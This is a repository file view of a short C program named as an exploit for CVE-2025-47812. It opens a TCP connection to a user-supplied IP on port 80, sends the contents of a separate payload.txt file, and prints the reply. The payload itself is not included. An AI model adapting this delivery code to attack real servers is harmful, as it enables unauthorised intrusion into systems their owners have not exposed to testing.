Files
Exploit_CVE-2025-47812/exploit.c
T
hexplor ba426950ae updte
2026-04-25 23:14:49 +02:00

56 lines
1.3 KiB
C

#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv){
if (argc != 2){
printf("u must specifie IP addr\n");
exit(1);
}
printf("target = %s\n", argv[1]);
int domain = AF_INET;
int type = SOCK_STREAM;
int fd = socket(domain, type, 0);
printf("fd = %d\n", fd);
struct sockaddr_in dest_addr;
memset(&dest_addr, 0, sizeof(dest_addr));
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(80);
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);
int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
printf("ret_connect = %d\n", ret);
char buffer[100];
memset(buffer, 0, 100);
FILE* fichier_out = fopen("payload.txt", "r");
fseek(fichier_out, 0, SEEK_END);
int size = fichier_out->_offset;
char* file_buffer = malloc(size);
fseek(fichier_out, 0, SEEK_SET);
fread(file_buffer, 1, size, fichier_out);
for (int i = 0; i < size; i++){
char c = file_buffer[i];
if (c == '\n')
send(fd, "\r\n", 2, 0);
else
send(fd, &c, 1, 0);
}
send(fd, "\r\n", 2, 0);
int n;
printf("recv:\n");
while (( n = recv(fd, buffer, 99, 0)) > 0){
buffer[n] = 0;
printf("%s", buffer);
}
fclose(fichier_out);
free(file_buffer);
return 0;
}